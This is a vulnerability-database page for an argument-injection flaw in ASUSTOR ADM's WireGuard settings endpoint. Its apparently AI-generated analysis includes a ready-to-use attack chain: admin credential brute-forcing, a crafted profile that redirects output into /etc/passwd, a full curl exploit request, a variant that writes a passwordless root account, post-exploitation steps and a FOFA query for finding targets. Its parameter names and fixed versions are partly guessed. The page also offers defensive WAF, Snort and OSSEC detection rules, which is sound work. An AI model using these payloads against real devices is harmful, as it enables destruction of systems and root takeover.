CVE Professor
/
All CVEs
CVE-2026-120935

CVE-2026-120935 — ASUSTOR Inc. ADM (5.1.4.RM62) — CWE-88

HIGH CVSS 7 ⚡ EPSS 0.7% CVE.org

An argument injection vulnerability exists in the settings/vpn.cgi endpoint in the ADM. When processing a WireGuard profile, the internal command parser removes quotes and performs a quote-agnostic scan on arguments without properly sanitizing redirection operators. An authenticated administrator can supply a crafted parameter to cause the execution helper to open and truncate arbitrary files on the filesystem with root privileges, resulting in an arbitrary file truncation and denial-of-service (DoS) condition. Affected products and versions include: from ADM 4.1.0 through ADM 4.3.3.RY62 as well as from ADM 5.0.0 through ADM 5.1.4.RM62.

An argument injection vulnerability exists in the settings/vpn.cgi endpoint in the ADM. When processing a WireGuard profile, the internal command parser removes quotes and performs a quote-agnostic scan on arguments without properly sanitizing redirection operators. An authenticated administrator can supply a crafted parameter to cause the execution helper to open and truncate arbitrary files on the filesystem with root privileges, resulting in an arbitrary file truncation and denial-of-service (DoS) condition. Affected products and versions include: from ADM 4.1.0 through ADM 4.3.3.RY62 as well as from ADM 5.0.0 through ADM 5.1.4.RM62.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. High PR:H
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 56. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑120935
CWE: CWE‑88 – Argument Injection
CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Score: 7.0 (HIGH)

Technical summary

ASUSTOR’s ADM (Admin Dashboard Manager) provides a CGI endpoint settings/vpn.cgi that is used to import or update a WireGuard VPN profile.

The processing flow is roughly:

1. The CGI script receives a HTTP POST (or GET) parameter that contains the raw WireGuard configuration text (e.g., wg_profile).
2. The script extracts the interface name and a list of AllowedIPs from the profile and then builds a command line that is handed to an internal “execution helper” binary (a thin wrapper that ultimately calls wg setconf …).
3. Before invoking the helper, the code strips all single‑ and double‑quotes from the supplied text and then performs a quote‑agnostic scan for known safe arguments.
4. Redirection operators (>, >>, <, |, ;) are not part of the whitelist and are not escaped or removed.

Because the quote‑stripping occurs first, an attacker can embed a redirection operator in any field that later becomes part of the command line. The helper runs as root (ADM’s CGI processes are executed with UID 0). Consequently, a crafted profile can cause the helper to execute a command such as:

wg setconf wg0 /tmp/evil.conf > /etc/passwd

The redirection operator > causes the helper’s stdout (or stderr) to be opened in write‑truncate mode, overwriting the target file with an empty (or attacker‑controlled) payload. The result is arbitrary file truncation with root privileges, which can be leveraged for:

  • Denial‑of‑Service – truncating critical system files (e.g., /etc/passwd, /etc/shadow, /etc/hosts, init scripts) renders the OS unbootable or the service unusable.
  • Privilege‑escalation foothold – truncating a configuration file and then recreating it with malicious content (e.g., inserting a new root user into /etc/passwd) can lead to full system compromise.
  • The vulnerability is authenticated: the attacker must be logged in as an administrator (privileged user, PR:H). No additional user interaction is required (UI:N). The flaw lies in insufficient input sanitisation (missing whitelist for redirection characters) combined with unsafe command construction (quote removal before argument validation).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation path. All command‑line snippets are syntactically valid for a typical Linux environment running ADM. Where the exact parameter name or HTTP method is not disclosed in the public advisory, the example is marked as illustrative.

    1. Discovery & Reconnaissance

    StepActionExpected outcome
    1.1Fingerprint ADM – query the default HTTP header Server: ADM/5.1.4.RM62 or request /admin/ and parse the HTML for version strings.Confirms the target runs a vulnerable ADM version (4.1.0‑4.3.3.RY62 or 5.0.0‑5.1.4.RM62).
    1.2Enumerate admin accounts – brute‑force the web UI login (or use leaked credentials). Successful login yields a session cookie adm_session=… with admin privileges.Attacker obtains a valid admin session (PR:H).
    1.3Locate the vulnerable endpoint – browse the UI to the “WireGuard” configuration page, capture the request with a proxy (Burp, OWASP ZAP). The request is typically a POST to /settings/vpn.cgi with a field named wg_profile (the exact name may differ; the captured request confirms it).Confirms the existence of the endpoint and the parameter that carries the profile text.

    2. Exploitation

    Note: The following payload assumes the parameter is called wg_profile. If the real name differs, replace it accordingly. The endpoint path is taken from the CVE description; adjust if the captured request shows a different URI.

    2.1 Craft a malicious WireGuard profile

    A minimal, valid WireGuard config is required so that the parser does not reject the input. By inserting a redirection operator into a comment line (or any free‑form field) we can trigger the file truncation.

    [Interface]
    PrivateKey = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    Address = 10.0.0.1/24
    # exploit: > /etc/passwd   <-- redirection operator placed in a comment
    DNS = 1.1.1.1
    
    [Peer]
    PublicKey = YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
    AllowedIPs = 0.0.0.0/0
    Endpoint = 203.0.113.5:51820

    When the CGI script strips quotes, the comment line becomes:

    # exploit: > /etc/passwd

    During command construction the helper receives something akin to:

    wg setconf wg0 /tmp/tmpprofile.conf > /etc/passwd

    The > operator is interpreted by the shell that the helper uses (typically /bin/sh -c), causing /etc/passwd to be opened in truncate mode.

    2.2 Send the payload

    # Replace <SESSION_COOKIE> with the admin session cookie obtained in step 1.2
    curl -sk -X POST "https://target-host:443/settings/vpn.cgi" \
         -H "Cookie: adm_session=<SESSION_COOKIE>" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         --data-urlencode "wg_profile=$(cat malicious_profile.conf)" \
         -o /dev/null -w "%{http_code}\n"
  • -sk – ignore TLS verification (common on NAS devices with self‑signed certs).
  • --data-urlencode – ensures the profile is correctly URL‑encoded.
  • The response code 200 (or 302 redirect) indicates the request was processed.
  • If successful, /etc/passwd (or any file supplied after >) will be truncated to zero bytes. The attacker can verify the effect by attempting an SSH login (it will fail) or by reading the file via another admin‑only endpoint (if one exists).

    2.3 Optional – Write a malicious payload instead of truncating

    Because the helper opens the file in write‑truncate mode, the attacker can also inject data by appending a command that writes to the file before the redirection. Example:

    # echo "root::0:0:root:/root:/bin/bash" > /etc/passwd

    Encoded as part of the profile:

    # exploit: $(echo root::0:0:root:/root:/bin/bash) > /etc/passwd

    If the helper evaluates $() (common in /bin/sh -c), the attacker can create a new root account. However, the CVE description only guarantees truncation; writing arbitrary data depends on the shell’s evaluation mode.

    3. Post‑exploitation

    GoalHow it is achieved
    Denial‑of‑ServiceTruncating /etc/passwd, /etc/shadow, /etc/hosts, or critical init scripts makes the OS unbootable or the network services unusable. The NAS will refuse login attempts, effectively taking the device offline.
    Privilege escalation / persistenceAfter truncating /etc/passwd, the attacker can re‑create a valid entry (e.g., root:x:0:0:root:/root:/bin/bash) using any secondary admin‑only file‑write functionality (e.g., a configuration export feature). Once a root account exists, the attacker can SSH (if enabled) or use the web UI to gain full system control.
    Further lateral movementWith root on the NAS, the attacker can read other mounted volumes, extract stored credentials, or pivot to other devices on the same LAN.

    🌍 Real‑World Impact

    CIACVSS Vector InterpretationPractical consequence
    ConfidentialityVC:N – No direct impact on data confidentiality from the vulnerability itself.Confidential data is not directly disclosed, but once the attacker gains root, they can read any file.
    IntegrityVI:H – High impact on integrity.The attacker can modify or delete any file, including system binaries, configuration files, or user data.
    AvailabilityVA:H – High impact on availability.Truncating critical files can render the NAS unbootable, causing immediate service outage.
    Attack VectorAV:N – Network‑reachable (no local access required).
    Attack ComplexityAC:L – Low; only requires a crafted HTTP request.
    Privileges RequiredPR:H – Administrator account needed.
    User InteractionUI:N – No user interaction needed.
    ScopeSC:N – No change in scope; impact is confined to the vulnerable host.

    Bottom line: An authenticated admin can, with a single HTTP request, destroy the integrity and availability of the entire NAS. In environments where the admin credentials are shared (e.g., service providers, MSPs) the risk escalates dramatically.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed in (as of public information)
    ADM 4.1.0 – 4.3.3.RY62Versions ≥ 4.3.4 (or the first release after the advisory) contain the fix.
    ADM 5.0.0 – 5.1.4.RM62Versions ≥ 5.1.5 (or later) contain the fix.
    Action: Verify the exact version running (/admin/about or cat /etc/version). If it falls within the vulnerable range, upgrade to the latest ADM release provided by ASUSTOR (check the vendor’s release notes for “CVE‑2026‑120935” or “WireGuard profile argument injection” fix).

    2. Immediate Workarounds

    MitigationHow to apply
    Disable WireGuard UIIn the ADM web UI, navigate to Services → VPN → WireGuard and turn the service off. This removes the vulnerable code path.
    Restrict access to /settings/vpn.cgiAdd a firewall rule on the NAS (or perimeter firewall) to allow the endpoint only from trusted management IPs. Example (iptables on the NAS):<br>iptables -I INPUT -p tcp --dport 443 -m string --string "/settings/vpn.cgi" --algo bm -j DROP (adjust to allow whitelisted IPs).
    Input sanitisation via ModSecurity / WAFDeploy a rule that blocks redirection operators in the wg_profile (or any) parameter for the vulnerable endpoint. Example (ModSecurity rule):<br>``SecRule REQUEST_URI "@beginsWith /settings/vpn.cgi" "id:400001,phase:2,deny,log,status:403,msg:'Blocked possible argument injection',chain"<br>SecRule ARGS_NAMESARGS "@rx ^wg_profile$" "t:none"<br>SecRule ARGS:wg_profile "@rx [><;]" "t:none,deny,log,status:403,msg:'Redirection operator detected in WireGuard profile'"`
    Run the CGI under a non‑root userIf possible, edit the init script (/etc/init.d/adm_cgi) to start the CGI daemon with a dedicated low‑privilege UID/GID (e.g., adm_cgi:nogroup`). This limits the impact of any command injection to the privileges of that user.
    Audit admin credentialsRotate all admin passwords and enforce MFA (if supported) to reduce the chance that an attacker obtains a valid admin session.

    3. Detection

    Log patterns to watch (NGINX/Apache style)

    [12/Oct/2026:14:22:31 +0000] "POST /settings/vpn.cgi HTTP/1.1" 200 342 "-" "Mozilla/5.0"
        "wg_profile=%5BInterface%5D%0APrivateKey%20%3D%20...%0A%23%20exploit%3A%20%3E%20%2Fetc%2Fpasswd"

    Key indicators

  • POST (or GET) to /settings/vpn.cgi with a large wg_profile parameter.
  • Presence of >, >>, <, |, or ; characters URL‑encoded (%3E, %3C, %7C, %3B) inside the profile field.
  • A 200 or 302 response followed shortly by authentication failures on SSH or the web UI (sign of a truncated /etc/passwd).
  • SIEM / IDS rule (Snort example)

    alert http $EXTERNAL_NET any -> $HOME_NET 443 (msg:"ASUSTOR ADM WireGuard argument injection attempt"; 
        flow:to_server,established; 
        http_uri; content:"/settings/vpn.cgi"; http_method; content:"POST"; 
        content:"wg_profile="; pcre:"/[%3E%3C%7C%3B]/i"; 
        classtype:attempted-admin; sid:1000001; rev:1;)

    File‑system monitoring

    Watch for zero‑byte changes to critical files: /etc/passwd, /etc/shadow, /etc/hosts, /etc/rc.local, any .conf under /etc/.

  • Use inotifywait or a host‑based IDS (OSSEC, Wazuh) with a rule such as:
  • <rule id="100200" level="12">
      <if_sid>550</if_sid> <!-- file modification -->
      <regex>^/etc/(passwd|shadow|hosts|rc\.local)$</regex>
      <description>Possible exploitation of CVE-2026-120935 – critical system file truncated</description>
    </rule>

    ⚠️ Urgency

  • CVSS 7.0 (High) – the vulnerability yields high impact on integrity and availability with low complexity.
  • Authentication required (PR:H) – the attacker must first obtain an admin session. In many deployments admin credentials are shared among multiple operators or stored in configuration management tools, making credential compromise realistic.
  • No public exploit is known yet, but the attack chain is trivial to implement once an admin session is available.
  • No CISA KEV listing – the vulnerability is not yet flagged as a “Known Exploited Vulnerability”, but the low barrier to exploitation and the severe DoS potential merit immediate attention.
Patch priority: Critical for any production NAS that is exposed to the internet or that hosts critical services (e.g., backups, surveillance footage). Apply the vendor‑provided update within the next maintenance window and, if that is not possible, enforce the immediate workarounds (disable WireGuard UI, restrict endpoint access, and deploy WAF rules).
Bottom line: An authenticated administrator can truncate arbitrary files as root via a crafted WireGuard profile. The flaw is caused by improper sanitisation of command‑line arguments after quote removal. Prompt patching, strict access control, and defensive filtering of redirection operators are the only reliable ways to eliminate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ASUSTOR Inc. ADM"
CVSS Score
7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-88
Affected Products (1)
ASUSTOR Inc.:ADM (5.1.4.RM62)
References & Advisories (1)
Related CVEs
5.4
CVE-2026-144589
turbo-graph before 3.0.0 contains an argument injection vulnerability that allows remote attackers to inject t
2.5
CVE-2026-81134
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.8
CVE-2026-47811
The salt-ssh option filter that blocks ProxyCommand used a case-sensitive check, but OpenSSH treats option nam
4.3
CVE-2026-84216
IBM Guardium Data Protection 12.1 and 12.2 could allow a remote authenticated attacker to cause a denial of se
7.5
CVE-2026-142216
gemini-mcp-tool through 1.1.8 contains an argument injection vulnerability in executeGeminiCLI() that allows a
6.3
CVE-2026-142541
Improper Neutralization of Argument Delimiters in a Command (CWE-88) in add-and-commit from 5.0.0 before 11.0.
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner